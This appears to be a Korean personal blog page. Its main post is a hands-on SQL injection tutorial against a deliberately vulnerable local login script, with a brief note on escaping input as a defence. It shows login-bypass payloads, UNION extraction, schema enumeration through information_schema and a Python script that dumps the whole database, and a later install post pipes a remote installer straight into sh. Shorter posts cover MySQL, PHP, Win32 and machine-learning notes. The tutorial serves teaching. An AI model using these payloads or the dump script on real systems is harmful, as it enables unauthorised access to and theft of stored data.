모바일 배려:http://nbviewer.ipython.org/url/ipy.lucent.me/sqlinjection.ipynb

SQL Injection

May 2015, Changyoung Koh

서문

꽤 많은 경우 우리는 SQL을 이용해서 프로그램을 작성한다.
SQL은 익숙해지면 굉장히 편리하지만, 각별히 주의하지 않으면 심각한 보안 취약점을 갖게 된다는 약점을 가지고 있다.
아래 코드를 보자.

In [1]:
%%writefile sql1.py
#!/usr/bin/python
#-*-coding:utf-8-*-
import MySQLdb
import hashlib

db = MySQLdb.connect("localhost","secutest", "1234!@#$","secutest" )
cursor = db.cursor()

#Setup some dummy data
try:
    cursor.execute('CREATE TABLE Accounts(id VARCHAR(64), password VARCHAR(64))')
    cursor.execute('INSERT INTO Accounts(id, password) VALUES("%s", "%s")' % ("admin", hashlib.sha1("adminpass").hexdigest()))
    cursor.execute('INSERT INTO Accounts(id, password) VALUES("%s", "%s")' % ("user1", hashlib.sha1("pass1ssap").hexdigest()))
    cursor.execute('INSERT INTO Accounts(id, password) VALUES("%s", "%s")' % ("user2", hashlib.sha1("somepassword").hexdigest()))
    db.commit()
except:
    pass

#Get credentials
login_id = raw_input()
login_pw = raw_input()

#Try login
cursor.execute('SELECT * FROM Accounts WHERE id="%s" AND password="%s"' % (login_id, hashlib.sha1(login_pw).hexdigest()))
data = cursor.fetchone()
if data:
    print 'Success! Welcome %s.' % data[0]
else:
    print 'Failed: check your id - password combination.'

db.close()
Overwriting sql1.py

이 코드에 다음과 같이 옳은 계정 정보를 입력하면 로그인에 성공했다는 메시지를 볼 수 있다.

In [2]:
!echo "admin\nadminpass" | python sql1.py
Success! Welcome admin.

그리고 틀린 계정 정보를 입력하면 로그인에 성공했다는 메시지를 볼 수 있다.

In [3]:
!echo "admin\nadminpass1" | python sql1.py
Failed: check your id - password combination.

하지만 틀린 것도 틀린 것 나름, 이렇게 입력하면..

In [4]:
!echo 'admin" or "1" = "1"#\n' | python sql1.py
Success! Welcome admin.

놀랍게도 로그인에 성공했다는 메시지를 볼 수 있다. 어떻게 된 일인지 쿼리문을 출력해서 확인해보자.

In [5]:
import hashlib
print 'SELECT * FROM Accounts WHERE id="%s" AND password="%s"' % ('admin" or "1" = "1"#', hashlib.sha1("").hexdigest())
SELECT * FROM Accounts WHERE id="admin" or "1" = "1"#" AND password="da39a3ee5e6b4b0d3255bfef95601890afd80709"

MySQL상에서 #은 주석을 뜻한다(파이썬과 같이).
따라서 실제 쿼리문은 # 앞까지가 되는데,
WHERE 뒷 부분을 보면 조건식이 "id==admin 이거나 1==1인 경우" 라는 뜻이기 때문에 무조건 참을 반환하도록 되어있음을 알 수 있다.
따라서 해당 쿼리문은 테이블 내의 모든 계정 정보를 가져오게 되는 것이다.

뭐 "하지만 이렇게 고치면 위와 같은 공격은 무효화되지 않나요?" 라고 할 수도 있는 방안이 몇 가지 있긴 하다.
일단 그중 가장 의미없는 것 부터 살펴보자.

In [ ]:
#... (sql1.py)
#Try login
cursor.execute('SELECT * FROM Accounts WHERE id="%s" AND password="%s"' % (login_id, hashlib.sha1(login_pw).hexdigest()))
data = cursor.fetchall()
if data and len(data) == 1 and data[0][0] == login_id:
    print 'Success! Welcome %s.' % data[0][0]
else:
    print 'Failed: check your id - password combination.'
#...

이걸 보다보면 아마 금방 떠오를텐데, 더 간단하지만 더 강력한 방법이 있다.

In [6]:
!echo 'admin"#\n' | python sql1.py
Success! Welcome admin.

그래서 보통 이러한 공격을 막을 때에는 특수문자 / SQL 쿼리 예약어 등을 모두 필터링해버리는 방법을 사용한다.
공격이 성공할 경우 정보 유출, 변조, 삭제 등의 위험이 크기 때문에 최대한 확실한 방법을 사용해야 하기 때문이다.

In [ ]:
#... (sql1.py)
#Try login
login_id = MySQLdb.escape_string(login_id)
cursor.execute('SELECT * FROM Accounts WHERE id="%s" AND password="%s"' % (login_id, hashlib.sha1(login_pw).hexdigest()))
#...
In [7]:
!echo 'admin"#\n' | python sql1.py
Failed: check your id - password combination.

실제 공격 패턴

이제 공격 및 방어에 대한 개략적인 소개는 끝났다.
여기서부터는 해당 공격 방법과 그 활용 범위에 대해 조금 더 살펴보자.

일단 새로운 테이블과 새로운 데이터를 추가하자.
이번에는 앞서 살펴본 로그인 프로그램을 이용해서 아래의 성적 데이터를 유출하는 방법을 알아볼 것이다.

In [8]:
import MySQLdb

db = MySQLdb.connect("localhost","secutest", "1234!@#$","secutest" )
cursor = db.cursor()

cursor.execute('CREATE TABLE Grade(id VARCHAR(64), course VARCHAR(64), grade VARCHAR(64))')
cursor.execute('INSERT INTO Grade(id, course, grade) VALUES("%s", "%s", "%s")' % ("user1", "Artificial Intelligence", "A+"))
cursor.execute('INSERT INTO Grade(id, course, grade) VALUES("%s", "%s", "%s")' % ("user1", "Design Patterns", "B+"))
cursor.execute('INSERT INTO Grade(id, course, grade) VALUES("%s", "%s", "%s")' % ("user1", "Introduction to Algorithm", "C+"))
cursor.execute('INSERT INTO Grade(id, course, grade) VALUES("%s", "%s", "%s")' % ("user2", "Introduction to Algorithm", "A-"))
cursor.execute('INSERT INTO Grade(id, course, grade) VALUES("%s", "%s", "%s")' % ("user2", "Introduction to Database System", "B-"))
cursor.execute('INSERT INTO Grade(id, course, grade) VALUES("%s", "%s", "%s")' % ("user2", "Computer Networking", "B+"))

db.commit()
db.close()

SQL에서 다른 테이블의 데이터를 가져오는 방법중 하나는 UNION 연산을 이용하는 것이다.
다음 공격 코드를 보자.

In [9]:
!echo '1" or "1" = "1" union select course,grade from Grade limit 6,1#\n' | python sql1.py
Success! Welcome Introduction to Algorithm.
In [10]:
!echo '1" or "1" = "1" union select grade,course from Grade limit 6,1#\n' | python sql1.py
Success! Welcome A-.

이게 어떻게 된 일인지를 이해하기 위해 실제 MySQL에서 어떤 쿼리를 만들고, 어떤 결과를 반환하는지 살펴보자.

In [11]:
!mysql -u secutest -p'1234!@#$' -e 'use secutest; SELECT * FROM Accounts WHERE id="1" or "1" = "1" UNION SELECT grade,course FROM Grade'
+-------+------------------------------------------+
| id    | password                                 |
+-------+------------------------------------------+
| admin | 74913f5cd5f61ec0bcfdb775414c2fb3d161b620 |
| user1 | ff0825382c957edd9a49ddef3830c38c094762d6 |
| user2 | f8377c90fcfd699f0ddbdcb30c2c9183d2d933ea |
| A+    | Artificial Intelligence                  |
| B+    | Design Patterns                          |
| C+    | Introduction to Algorithm                |
| A-    | Introduction to Algorithm                |
| B-    | Introduction to Database System          |
| B+    | Computer Networking                      |
+-------+------------------------------------------+

결과를 보면 앞의 세 개는 원래 쿼리의 결과(SELECT * FROM Accounts)이지만
그 아래는 모두 Grade 테이블의 내용임을 알 수 있다.
특히 id 자리에 Grade.gradepassword 자리에 Grade.course가 들어가 있는 것이 특이한데,
다시 쿼리문으로 돌아가면 SELECT * FROM Accounts WHERE id="1" or "1" = "1" UNION SELECT grade,course FROM Grade
grade와 course의 순서가 각각 id와 password의 자리를 나타내고 있다.
따라서 첫번째 커맨드에서는 과목명(course)가 출력되고, 두번째 커맨드에서는 성적(grade)이 id로써 출력된 것이다.
이제 LIMIT까지 포함한 쿼리를 확인해보자.

In [12]:
!mysql -u secutest -p'1234!@#$' -e 'use secutest; SELECT * FROM Accounts WHERE id="1" or "1" = "1" UNION SELECT grade,course FROM Grade LIMIT 6,1'
+------+---------------------------+
| id   | password                  |
+------+---------------------------+
| A-   | Introduction to Algorithm |
+------+---------------------------+

LIMIT에 두 개의 인자를 주면 첫 번째 인자는 시작 행 번호, 두 번째 인자는 가져올 행 개수를 나타내기 때문에
첫 번째 행의 정보만 출력하는 sql1.py로 원하는 정보를 출력하기 위해서는 첫 번째 행에 원하는 데이터가 가도록 쿼리를 설계해야 한다.
이런 이유로 실제로는 LIMIT만 사용하기보다는 COUNT나 ORDER BY 등의 연산을 함께 사용하는 경우가 많다.
다음 커맨드를 보자.

In [13]:
!echo '" UNION SELECT COUNT(*),"" FROM Accounts#\n' | python sql1.py
!mysql -u secutest -p'1234!@#$' -e 'use secutest; SELECT * FROM Accounts WHERE id="" UNION SELECT COUNT(*),"" FROM Accounts'
Success! Welcome 3.
+------+----------+
| id   | password |
+------+----------+
| 3    |          |
+------+----------+

이번에는 Accounts 테이블 안에 있는 행의 개수를 가져왔다.
조금 감이 잡혔으니 모든 데이터를 뽑아내보자.

In [14]:
import subprocess as sp

def QueryResult(query):
    return sp.Popen(['python', 'sql1.py'], stdin=sp.PIPE, stdout=sp.PIPE).communicate(query)[0][len('Success! Welcome '):-2]

n = int(QueryResult('" UNION SELECT COUNT(*),"" FROM Grade#\n\n'))

for i in xrange(n):
    id = QueryResult('" UNION ALL SELECT id,"" FROM Grade LIMIT %d,1#\n\n' % i)
    course = QueryResult('" UNION ALL SELECT course,"" FROM Grade LIMIT %d,1#\n\n' % i)
    grade = QueryResult('" UNION ALL SELECT grade,"" FROM Grade LIMIT %d,1#\n\n' % i)
    print id, course, grade
user1 Artificial Intelligence A+
user1 Design Patterns B+
user1 Introduction to Algorithm C+
user2 Introduction to Algorithm A-
user2 Introduction to Database System B-
user2 Computer Networking B+

(이번엔 UNION ALL을 이용했는데, 그냥 UNION을 할 경우 DISTINCT를 붙인 것과 같이 중복값이 제거되기 때문이다)

테이블과 컬럼의 정보를 모를 때

지금까지는 테이블과 쿼리의 정보를 모두 아는 상태에서 수행했는데,
이러한 정보가 없을 경우에는 이 정보를 알아내는 것 부터 해야 한다.

처음 해야 할 일은 UNION을 사용하기 위해 원래 select문이 가져오는 열의 수를 알아내는 것이다.

In [15]:
!echo '" order by 1#\n\n' | python sql1.py
!echo '" order by 2#\n\n' | python sql1.py
!echo '" order by 3#\n\n' | python sql1.py
Failed: check your id - password combination.
Failed: check your id - password combination.
Traceback (most recent call last):
  File "sql1.py", line 24, in <module>
    cursor.execute('SELECT * FROM Accounts WHERE id="%s" AND password="%s"' % (login_id, hashlib.sha1(login_pw).hexdigest()))
  File "/usr/local/lib/python2.7/dist-packages/MySQLdb/cursors.py", line 205, in execute
    self.errorhandler(self, exc, value)
  File "/usr/local/lib/python2.7/dist-packages/MySQLdb/connections.py", line 36, in defaulterrorhandler
    raise errorclass, errorvalue
_mysql_exceptions.OperationalError: (1054, "Unknown column '3' in 'order clause'")

여기서 ORDER BY 3일 때 에러가 처음 발생하는 것으로 보아 이 쿼리문은 2개의 열을 가져오는 것임을 알 수 있다.
매번 이렇게 찾을 수는 없으니 스크립트를 작성해서 찾아보자.

In [16]:
import subprocess as sp

def QueryError(query):
    return sp.Popen(['python', 'sql1.py'], stdin=sp.PIPE, stderr=sp.PIPE).communicate(query)[1][len('Success! Welcome '):-2]

for i in xrange(1,101):
    if len(QueryError('" ORDER BY %d#\n\n' % i)) > 0:
        print i - 1
        break
2
In [17]:
!echo '" UNION SELECT table_name,table_schema FROM information_schema.tables WHERE table_schema!="information_schema" LIMIT 0,1#\n\n' | python sql1.py
!echo '" UNION SELECT table_name,table_schema FROM information_schema.tables WHERE table_schema!="information_schema" LIMIT 1,1#\n\n' | python sql1.py
Success! Welcome Accounts.
Success! Welcome Grade.

MySQL에선 위와 같은 쿼리를 통해 테이블의 목록을 알 수 있다.
다른 DBMS를 이용할 경우 쿼리가 달라질 수 있는데, Cheat Sheet와 같은 것을 이용하면 쉽게 찾을 수 있다.

이제 테이블을 알아냈으니 컬럼을 확인해보자.

In [18]:
!echo '" UNION SELECT COUNT(column_name),table_name FROM information_schema.columns WHERE table_name="Grade"#\n\n' | python sql1.py
!echo '" UNION SELECT column_name,table_name FROM information_schema.columns WHERE table_name="Grade" LIMIT 0,1#\n\n' | python sql1.py
!echo '" UNION SELECT column_name,table_name FROM information_schema.columns WHERE table_name="Grade" LIMIT 1,1#\n\n' | python sql1.py
!echo '" UNION SELECT column_name,table_name FROM information_schema.columns WHERE table_name="Grade" LIMIT 2,1#\n\n' | python sql1.py
Success! Welcome 3.
Success! Welcome id.
Success! Welcome course.
Success! Welcome grade.

물론 이것도 실제로 할 땐 프로그램이나 스크립트를 작성하는 것이 현명하다.

In [19]:
import subprocess as sp

def QueryResult(query):
    return sp.Popen(['python', 'sql1.py'], stdin=sp.PIPE, stdout=sp.PIPE).communicate(query)[0][len('Success! Welcome '):-2]

def GetTables():
    n = int(QueryResult('" UNION SELECT COUNT(table_name),table_schema FROM information_schema.tables WHERE table_schema!="information_schema" LIMIT 0,1#\n\n'))
    return [QueryResult('" UNION SELECT table_name,table_schema FROM information_schema.tables WHERE table_schema!="information_schema" LIMIT %d,1#\n\n' % i) for i in xrange(n)]

def GetColumns(table):
    n = int(QueryResult('" UNION SELECT COUNT(column_name),table_name FROM information_schema.columns WHERE table_name="%s"#\n\n' % table))
    return [QueryResult('" UNION SELECT column_name,table_name FROM information_schema.columns WHERE table_name="%s" LIMIT %d,1#\n\n' % (table, i)) for i in xrange(n)]

for table in GetTables():
    print table, ":", GetColumns(table)
Accounts : ['id', 'password']
Grade : ['id', 'course', 'grade']

그리고 이 스크립트에 아까 스크립트를 추가하면 현재 DB 전체의 내용을 쉽게 얻어낼 수 있다.

In [20]:
import subprocess as sp

def QueryResult(query):
    return sp.Popen(['python', 'sql1.py'], stdin=sp.PIPE, stdout=sp.PIPE).communicate(query)[0][len('Success! Welcome '):-2]

def GetTables():
    n = int(QueryResult('" UNION SELECT COUNT(table_name),table_schema FROM information_schema.tables WHERE table_schema!="information_schema" LIMIT 0,1#\n\n'))
    return [QueryResult('" UNION SELECT table_name,table_schema FROM information_schema.tables WHERE table_schema!="information_schema" LIMIT %d,1#\n\n' % i) for i in xrange(n)]

def GetColumns(table):
    n = int(QueryResult('" UNION SELECT COUNT(column_name),table_name FROM information_schema.columns WHERE table_name="%s"#\n\n' % table))
    return [QueryResult('" UNION SELECT column_name,table_name FROM information_schema.columns WHERE table_name="%s" LIMIT %d,1#\n\n' % (table, i)) for i in xrange(n)]

def GetRows(table, columns):
    n = int(QueryResult('" UNION SELECT COUNT(*),"" FROM %s#\n\n' % table))
    return [[QueryResult('" UNION ALL SELECT %s,"" FROM %s LIMIT %d,1#\n\n' % (c, table, r)) for c in columns] for r in xrange(n)]

for table in GetTables():
    print '---------------[%s]---------------' % table
    for col in GetColumns(table):
        print "%s\t" % col,
    print ''
    for row in GetRows(table, GetColumns(table)):
        for col in row:
            print '%s' % col,
        print ''
    print '---------------------------------------'
---------------[Accounts]---------------
id	password	
admin 74913f5cd5f61ec0bcfdb775414c2fb3d161b620 
user1 ff0825382c957edd9a49ddef3830c38c094762d6 
user2 f8377c90fcfd699f0ddbdcb30c2c9183d2d933ea 
---------------------------------------
---------------[Grade]---------------
id	course	grade	
user1 Artificial Intelligence A+ 
user1 Design Patterns B+ 
user1 Introduction to Algorithm C+ 
user2 Introduction to Algorithm A- 
user2 Introduction to Database System B- 
user2 Computer Networking B+ 
---------------------------------------

자 여기까지 SQL Injection에 대해 간단하게 살펴봤다.
이제 SQL을 이용해서 프로그램을 작성하거나 보안을 점검할 때 활용해보자.

더 읽을거리

SQL Injection Filter 우회
Blind SQL Injection: 쿼리 결과가 직접 출력되지 않고, 0이나 1, 성공이나 실패처럼 두 가지 중 하나로만 출력될 때 사용한다.


이상하게 Windows에서 Apache(php)랑 MySQL을 사용하니까 컴퓨터 성능이 딸리는 것도 아닌데 MySQL 쿼리를 이용하는 페이지만 로딩이 1초씩 걸리는 현상을 보여서 인터넷을 좀 뒤졌더니 이게 Hostname Resolve때문이라더라.. 어떻게 localhost를 resolve하는데 시간이 1초나 걸리는지.. 나 참;

어쨌든 이제 문제의 원인을 알았으니 해결은 쉽다. php 코드상에서 mysql에 접속하는 부분의 hostname이 localhost인 것들을 모두 찾아서 127.0.0.1로 바꾸고, 해당 user 및 database의 접속 권한을 127.0.0.1에게도 주면 된다(대략 아래와 같은 명령어가 될 것이다).

#주의: 당연하지만 root로 접속해서 수행해야 합니다.
 UPDATE user SET host='127.0.0.1' WHERE user='DBUser';

 GRANT ALL PRIVILEGES ON MyDB.* TO 'DBUser'@'127.0.0.1' WITH GRANT OPTION;

(물론 cmd에서 안 하고 그냥 phpmyadmin에서 해도 된다..!)
+ 이래도 해결되지 않는다면 어댑터에서(혹은 MySQL에서) IPv6 사용을 아예 꺼버리자. 근데 아마 이거면 해결 될걸?

'Computer' 카테고리의 다른 글

PacMan for Terminal  (0) 2015.06.16
SQL Injection  (0) 2015.05.18
[Fedora] OpenVAS 설치  (0) 2015.04.22
Windows에서 PHP LDAP 이용하기  (0) 2015.04.08
ListView에서 텍스트 읽어오기(LVM_GETITEMTEXT)  (0) 2015.03.27

새로 Fedora 21을 설치하고, OpenVAS를 설치하려는데.. 공식 사이트에서 시키는 대로 하면 도저히 답이 안 나온다.

 ...
 
You could try using --skip-broken to work around the problem
 ...

하지만 머리를 좀 굴려서 결국 설치 성공!

방법은 의외로 간단하다(주의: 난 개빡쳐서 아래의 과정을 모두 root로 실행했다...)
1. Atomic Repository를 삭제.

 yum remove atomic-release

2. yum으로 openvas-cli, openvas-scanner, openvas-manager를 설치(updates repository에서 설치한다).

 yum install openvas-cli         # 까지 치고 <tab> 해서 자동완성
 yum install openvas-manager # 까지 치고 <tab> 해서 자동완성
 yum install openvas-scanner  # 까지 치고 <tab> 해서 자동완성

3. Atomic Repostiory를 추가.

 wget -q -O - http://www.atomicorp.com/installers/atomic | sh

4. yum으로 greenbone-security-manager를 설치.

 yum install greenbone-security-manager

5. Atomic Repository를 삭제.

 yum remove atomic-release

6. openvas-check-setup 쓰자

 openvas-check-setup

7. 이제부턴 알아서... openvas-check-setup이 시키는 대로 하면 되는데, 그것도 귀찮으면 아래 명령어들을 치면 (아마) 된다.

 #순서가 이게 아닐수도 있는데 알아서 잘 해보면 된다.
 openvas-mkcert
 openvas-mkcert-client -n -i
 openvassd
 openvasmd --rebuild --progress
 openvas-nvt-sync
 openvas-certdata-sync
 openvasmd --create-user=kcy1019 #어드민 계정 생성(비번은 알아서 만들어준다)
 gsad -p 9392                         #이제 https://localhost:9392로 접속 가능. 외부에서 하고싶으면 ssh 터널링 할 것.

Windows 환경에서 PHP를 사용할 일이 생겨서 생활코딩(http://opentutorials.org/course/62/5103)을 보고 Windows에 Apacahe + PHP + Mysql을 설치했다. 알아서 다 설치해주니까 편했지만(근데 이거 CakePHP나 CodeIgniter같은 화석 프레임워크는 왜 끼워서 설치하는지..) 모듈때문에 고민을 좀 했다. PHP의 LDAP 모듈을 따로 깔아야 하나? 하고 고민하다가, 에라 모르겠다 하고 그냥 활성화만 시켰는데 다행히 모듈도 같이 설치되었는지 잘 된다! ㅎㅎ

php.ini (위의 링크와 같이 설치했다면 C:/Bitnami/wampstack-5.4.39-0/php/php.ini) 수정
*주의: 관리자 권한을 가진 메모장으로 수정해야 저장이 됩니다.*

extension=php_intl.dll
extension=php_imap.dll
;extension=php_interbase.dll
;extension=php_ldap.dll
extension=php_ldap.dll
extension=php_mbstring.dll
;extension=php_exif.dll ; Must be after mbstring as it depends on it

그러니까, 앞의 세미콜론 하나만 지우면 된단겁니다! 주석만 풀어주면 바로 적용되는거죠 :D

*References:

가끔 다른 프로세스의 SysListView32를 읽고싶을 때가 있다.
그런데 막상 해보니까 쉬울줄 알았던 일이 잘 안돼서 고생을 좀 하다가.. 검색을 통해 해결했다.
우선 다음과 같은 코드를 생각해보자.
#define WIN32_LEAN_AND_MEAN // compile faster
#include <stdio.h>
#include <locale.h>
#include <windows.h>
#include <commctrl.h>

const int COLS(5), SZBUF(512);
int main(void)
{
	setlocale(LC_ALL, ""); // 한글 출력을 위해 기본 로케일 설정.
	HWND hParent = FindWindow(NULL, L"SW 찾기");
	HWND hListView = FindWindowEx(hParent, NULL, L"SysListView32", NULL);

	int numItems=(int)SendMessage(hListView, LVM_GETITEMCOUNT, 0, 0);

	LVITEM lvi;
	wchar_t subItems[COLS][SZBUF] = {};

	lvi.cchTextMax=SZBUF; // 텍스트 버퍼 사이즈를 설정

	for(int i = 0; i < numItems; i++) {
		for (int j = 0; j < COLS; j++) {
			// j번째 column의 값을 얻는다.
			lvi.iSubItem = j;
			lvi.pszText = subItems[j];
			wcscpy(subItems[j], L"끼야아앙");
			SendMessage(hListView, LVM_GETITEMTEXTW, (WPARAM)i, (LPARAM)&lvi);
			printf("%s%ls", j > 0 ? ";" : "", subItems[j]);
			// column1;column2;column3 형식으로 한 줄씩 출력.
		}
		puts("");
	}

	return 0;
}

완벽해보이...지만 실행해보면?

 C:\>a.exe
 끼야아앙;끼야아앙;끼야아앙;끼야아앙;끼야아앙
 끼야아앙;끼야아앙;끼야아앙;끼야아앙;끼야아앙
 C:\>

실제로 버퍼에 아무것도 쓰이지 않은 것을 확인할 수 있다.
원인이 뭘까 고민해보다가 reference에서 그 답을 찾았다.
요약하자면 "ListView를 가진 프로세스는 a.exe의 메모리에 접근 권한이 없음!" 이라고..
그러므로 일단 ListView를 가진 프로세스에 메모리를 할당하고,
우리는 ReadProcessMemory/WriteProcessMemory를 이용해서 해당 메모리에 접근하면 된다.
덕분에 코드는 더 지저분해졌지만, 어쨌든 돌아는 간다 :D

최종 결과물

#define WIN32_LEAN_AND_MEAN // compile faster
#include <stdio.h>
#include <locale.h>
#include <windows.h>
#include <commctrl.h>

const int COLS(5), SZBUF(512);
int main(void)
{
	setlocale(LC_ALL, ""); // 한글 출력을 위해 기본 로케일 설정.
	HWND hParent = FindWindow(NULL, L"SW 찾기");
	HWND hListView = FindWindowEx(hParent, NULL, L"SysListView32", NULL);

	int numItems=(int)SendMessage(hListView, LVM_GETITEMCOUNT, 0, 0);

	LVITEM lvi, *_lvi = NULL;
	wchar_t subItems[COLS][SZBUF] = {};
	wchar_t *_subItems[COLS] = {};
	unsigned long pid = -1;
	HANDLE process = NULL;
	
	// hWnd로부터 pid를 얻는다.
	GetWindowThreadProcessId(hListView, &pid);
	// 해당 pid를 가진 프로세스에 대해 VM조작 권한을 얻는다.
	process=OpenProcess(PROCESS_VM_OPERATION|PROCESS_VM_READ|
		PROCESS_VM_WRITE|PROCESS_QUERY_INFORMATION, FALSE, pid);

	_lvi=(LVITEM*)VirtualAllocEx(process, NULL, sizeof(LVITEM),
		MEM_COMMIT, PAGE_READWRITE);
	// ListView를 가지고 있는 프로세스에 LVITEM 메모리를 할당한다.

	for (int i = 0; i < COLS; i++) {
		_subItems[i]=(wchar_t*)VirtualAllocEx(process, NULL,
							SZBUF * sizeof(wchar_t),
							MEM_COMMIT,
							PAGE_READWRITE);
		// ListView를 가지고 있는 프로세스에 wchar[] 메모리를 할당한다.
	}

	lvi.cchTextMax=SZBUF; // 텍스트 버퍼 사이즈를 설정

	for(int i = 0; i < numItems; i++) {
		for (int j = 0; j < COLS; j++) {
			// j번째 column의 값을 얻는다.
			lvi.iSubItem = j;
			lvi.pszText = _subItems[j];
			// 반환되는 텍스트는 타겟 프로세스의 wchar[] 버퍼에 써진다.
			WriteProcessMemory(process, _lvi, &lvi, sizeof(LVITEM), NULL);
			// 타겟 프로세스의 LVITEM에 lvi의 설정값을 쓴다(복사).
			SendMessage(hListView, LVM_GETITEMTEXTW, (WPARAM)i, (LPARAM)_lvi);
			ReadProcessMemory(process, _subItems[j], subItems[j], SZBUF, NULL);
			// 타겟 프로세스의 wchar[] 버퍼를 읽는다.
			printf("%s%ls", j > 0 ? ";" : "", subItems[j]);
			// column1;column2;column3 형식으로 한 줄씩 출력.
		}
		puts("");
	}

	// 타겟 프로세스에 할당한 메모리를 해제한다.
	VirtualFreeEx(process, _lvi, 0, MEM_RELEASE);
	for (int j = 0; j < COLS; j++) {
		VirtualFreeEx(process, _subItems[j], 0, MEM_RELEASE);
	}

	return 0;
}


'Computer' 카테고리의 다른 글

[Fedora] OpenVAS 설치  (0) 2015.04.22
Windows에서 PHP LDAP 이용하기  (0) 2015.04.08
img2term: 터미널에서 이미지 보기  (0) 2015.03.24
[Ubuntu] 유저에게 sudo 권한 주기.  (0) 2015.03.13
Advices for applying machine learning.  (0) 2015.03.11

https://github.com/kcy1019/img2term

GIF(애니메이션 포함!), PNG, JPG 등등을 지원합니다(ImageMagickncurses를 이용했습니다).

make 후 ./img2term <그림파일경로>를 입력하면 ㅇㅋ! *경로 자리에 웹주소를 입력해도 됩니다.



sudo usermod -a -G sudo 아이디

출처: http://askubuntu.com/questions/168280/how-do-i-grant-sudo-privileges-to-an-existing-user

자꾸 까먹어서...

(Lecture note from Coursera - Machine Learning - Advices for applying machine learning)
Keyword: High Bias, High Variance, Learning Curve, Cross Validation.

[1]Machine Learning을 적용할 때, 생각보다 결과가 좋지 않을 경우 다음과 같은 선택지중 어떤 것을 선택해야 할까?

  • training example을 더 많이 모은다.
  • Feature의 수를 줄여본다.
  • Feature의 수를 늘려본다.
  • Polynomial Feature를 늘려본다.
  • λ(regularization parameter)를 늘려본다.
  • λ(regularization parameter)를 줄여본다.

... 당연히 그냥 감으로 찍는 것 보다 훨씬 좋은 방법이 있다. 이제부터 살펴보자.,

[2]우선 학습을 통해 얻은 hypothesis를 평가하는 방법에 대해 알아보자.
이를 알아두면, model을 선택할 때 좋은 지표로 이용할 수 있다.
보통 학습시에 training example 전체를 이용해서 hypothesis를 결정하는데, 이러지 말고, 다음과 같이 나눠서 사용하자.

  1. training example set을 랜덤하게 섞는다.
  2. 앞의 80%를 training set으로 삼는다.
  3. 나머지 20%를 test set으로 삼는다.

이제 80%, 그러니까 training set만 가지고 여러 model에 대해 학습을 진행한 다음,
얻어낸 hypothesis를 이용, test set의 데이터를 이용해서 error를 계산해본다.
이를 통해서 Generalization이 얼마나 잘 되었는지 확인할 수 있다!
그러니까 test set에서의 error가 가장 작은 hypothesis를 선택하면 끝~~
이면 좋겠는데.. 사실 이 방식은 여전히 overfitting을 해결하지 못했다.
해당 hypothesis가 test set에 그냥 유난히 잘 맞는 것일 수 있기 때문이다 -_-..

따라서 다시, 다음과 같이 나눠서 사용하는게 더 좋다고 한다.

  1. training example set을 랜덤하게 섞는다.
  2. 앞의 60%를 training example로 삼는다.
  3. 다음 20%를 cross validation set으로 삼는다.
  4. 끝의 20%를 test set으로 삼는다.

이번엔 cross validation set이 새로 추가됐다.
이는 위에서 언급한 문제인, test set에 유난히 잘 맞는 hypothesis를 선택하는 것을 해결하기 위함이다.
이번에도 위와 비슷하게.. 일단 training set을 이용해서 학습한 hypothesis들 중 cross validation set의 error가 가장 작은것을 선택한다.
이렇게 선택한 hypothesis에 대해 test set을 이용해서 error를 계산할 경우 Generalization의 정도를 아까보다 훨씬 낫게 평가할 수 있다.

이제 본격적으로 [1]에서 어떤 선택지를 고르는 것이 좋은 것인지 확인하는 방법에 대해 공부해보자.

[3]일단 우리가 처해있는 상황이 어떤 것인지에 따라 어떤 것을 선택할지 결정할 수 있다.
지금 우리를 힘들게 하는 원인이 되는 두 가지를 살펴보자.

1. High Bias
간단히 말해 Bias가 높다는건 underfitting하게 된다는 뜻이다.
2. High Variance
Variance가 높다는건 overfitting하게 된다는 뜻이다.

이해를 돕기 위해 Linear(Polynomial) Regression을 이용할 때, Polynomial의 Degree가 높아짐에 따른 Error의 변화량을 (개략적으로) 살펴보자.

연두색 부분과 주황색 부분의 실제 모습을 (역시 개략적으로) 그려본다면 다음과 같은 상황이 적당하겠다.
연두색 부분의 함수는 보다시피 너무 단순한 polynomial로 인해 training data를 제대로 표현하지 못하고,
주황색 부분의 함수는 보다시피 너무 복잡한 polynomial로 인해 training data를 너무 완벽하게 표현해서
generalization 성능이 떨어지고, 이는 곧 validation set에 대해서 큰 오차를 보여주게 된다.

또 중요한 발견으로는 연두색 부분, 즉 high bias인 상황에서는 validation error와 training error가 거의 비슷하다.
반면 주황색 부분, 즉 high variance인 상황에서는 validation error와 training error의 차이가 매우 크다.
이제 [2]를 이용해서 degree를 선택할 수 있다('degree가 몇인 model을 선택할 것인가'를 해결 가능).

[4]이제 regularization을 고려해서 살펴보자.
λ에 따른 training / validation error를 구할 수 있다.

(주의할 점: 위의 그래프의 Training / Validation Error는 Regularization Term이 제거된 채로 측정한 것이다.
 즉, regularization term은 learning process에서만 사용했다는 뜻)
λ가 작으면 training error에 맞게 학습하고, 자연히 higher variance를 갖게된다.
반면 
λ가 크면 hypothesis가 0에 가까워져서 higher bias를 갖게 된다.

최적의 λ를 찾는 것도 역시 [2]를 이용해서 할 수 있다.
이를테면 다음과 같이 
λ를 바꿔가며 평가하고, 가장 적절한 것을 선택하면 된다.
λ = 0, 0.01, 0.02, 0.04, 0.08, 0.16, ..., 10.24 (2배씩 키워가면서 결정)

[5]이제 마지막으로 training example set의 크기에 따른 변화를 살펴보자.
다음과 같은 그래프를 Learning Curve라고 부른다.


위 그래프는 그림만 봐도 알 수 있듯이 이 그래프는 high variance를 갖는 경우이다.
여기서 가장 중요한 것은... high variance를 가져서 overfitting하는 경우에는
1. validation error와 training error의 gap이 크다(연두색 박스친 부분).
2. training example의 수가 늘어날수록 두 error가 수렴한다.
특히 2번이 중요한데,
이를 통해서 high variance를 갖는 경우에는 training example을 늘리는 것이 효과를 가질 것이란 것을 알 수 있다!

이건 high bias를 갖는 경우인데, 보라색 박스와 주황색 박스를 겹쳐서 그린 이유는,
직선 형태로는 더 이상 error를 줄일 수 없기 때문에 둘의 직선이 거의 정확히 일치하기 때문이다.
이를 통해 알 수 있는건 high bias를 갖는 경우에는 training example을 늘려도 효과가 거의 없을 것이란 사실이다.
[6]자, 위에서 살펴본 것들을 이용해서 결국 [1]에서 고민하던 문제를 해결하는 방법을 알게 되었다!

  • training example을 더 많이 모은다.           -> high variance일 경우
  • Feature의 수를 줄여본다.                      -> high variance일 경우
  • Feature의 수를 늘려본다.                      -> high bias일 경우
  • Polynomial Feature를 늘려본다.               -> high bias일 경우
  • λ(regularization parameter)를 늘려본다.     -> high variance일 경우
  • λ(regularization parameter)를 줄여본다.      -> high bias일 경우

